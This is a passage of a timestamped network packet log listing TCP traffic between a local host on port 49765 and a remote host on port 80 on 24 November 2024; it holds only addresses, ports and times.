Nov 24, 2024 12:24:12.101285934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.101413012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.101495028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.106081009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.106246948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.106436014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.111041069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.111133099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.111310005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.115852118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.115910053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.115988016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.120615005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.120661974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.120831966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.125323057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.125425100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.125483990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.130121946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.130352974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.130410910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.134953022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.135080099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.135139942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.138787031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.139008999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.139084101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.142658949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.142775059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.142839909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.146518946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.146641016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.146697044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.150371075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.150429964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.150476933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.150532961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.154206991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.154264927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.154323101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.154376030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.158179998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.158282042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.158340931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.161881924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.161984921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.162040949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.165807962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.165887117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.165904999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.165930986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.291672945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.291759968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.291788101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.291841030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.293064117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.293179989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.293212891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.293272018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.295382023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.295448065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.295456886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.295511961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.298369884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.298434019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.298502922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.298561096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.301475048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.301532984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.301682949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.301739931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.304462910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.304521084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.304522038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.304574013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.307600975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.307663918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.307792902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.307847977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.310460091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.310519934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.310585976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.310636997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.313438892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.313497066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.313558102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.313652992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.316473961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.316534996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.316572905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.316632986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.319478035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.319541931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.319614887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.319669008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.322510004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.322575092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.322642088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.322700977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.325539112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.325593948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.325666904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.325727940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.328552008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.328614950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.328704119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.328767061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.331532001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.331583977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.331681967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.331741095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.334633112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.334739923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.334980965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.337579012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.337641954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.337711096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.337771893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.340574026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.340635061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.340713024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.340766907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.343585968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.343652964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.343740940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.343920946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.346589088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.346698999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.346707106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.346757889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.349778891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.349842072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.349884033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.349940062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.352710009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.352772951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.352844954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.352899075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.355634928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.355693102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.355782986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.355846882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.358649969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.358705997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.358778000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.358834982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.361749887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.361805916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.361812115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.361862898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.364725113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.364784956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.364861965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.364919901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.367686033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.367744923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.367827892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.367927074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.370706081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.370764971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.370840073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.370896101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.373805046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.373864889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.373922110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.373995066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.376754045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.376811028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.376885891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.376940012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.379931927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.379992962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.380341053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.380395889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.496007919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.496088028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.496099949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.496179104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.496812105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.496865034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.496912956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.496964931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.499452114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.499505043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.499557972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.499608994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.501537085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.501591921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.501642942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.501696110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.504278898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.504337072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.504403114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.504462004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.507020950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.507133007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.507203102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.507258892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.509700060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.509758949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.509833097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.509890079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.512491941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.512556076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.512607098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.512666941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.515168905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.515229940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.515398979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.515455961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.517838955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.517913103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.517959118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.518013954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.520539045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.520597935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.520661116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.520715952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.523246050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.523303986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.523375034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.523433924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.525994062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.526046991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.526053905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.526112080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.528719902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.528760910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.528783083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.528808117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.531379938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.531436920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.531461000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.531508923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.534061909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.534123898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.534190893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.534245014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.536783934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.536842108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.536930084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.536987066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.539525986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.539629936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.539633036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.539686918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.542233944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.542300940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.542375088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.542589903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.544970036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.545041084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.545129061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.545340061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.547677994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.547765017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.547810078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.547971010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.550353050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.550462961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.550523996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.550728083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.553049088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.553112030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.553186893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.553241968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.555772066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.555828094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.555886984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.556082964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.558475018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.558547020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.558605909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.558662891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.561527014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.561583996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.561592102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.561661959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.564008951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.564076900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.564100027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.564155102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.566890955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.566948891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.566956043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.567023039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.569303989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.569370985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.569425106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.569479942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.572180033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.572293997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.572302103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.572371960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.574675083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.574733019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.574820042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.574877024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.577415943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.577475071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.577501059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.577701092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.580095053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.580156088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.580209970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.580260992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.582840919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.582942963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.583035946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.583035946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.585582018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.585686922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.585911036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.585988998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.588259935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.588359118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.588370085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.588433981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.590909004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.590996981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.590998888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.591099024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.593626976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.593724966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.593739986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.593776941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.596350908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.596435070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.596479893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.596534967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.599148035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.599212885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.599229097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.599277973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.601749897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.601810932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.602014065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.602184057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.604538918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.604626894 CET	49765	80	192.168.2.4	31.41.244.11
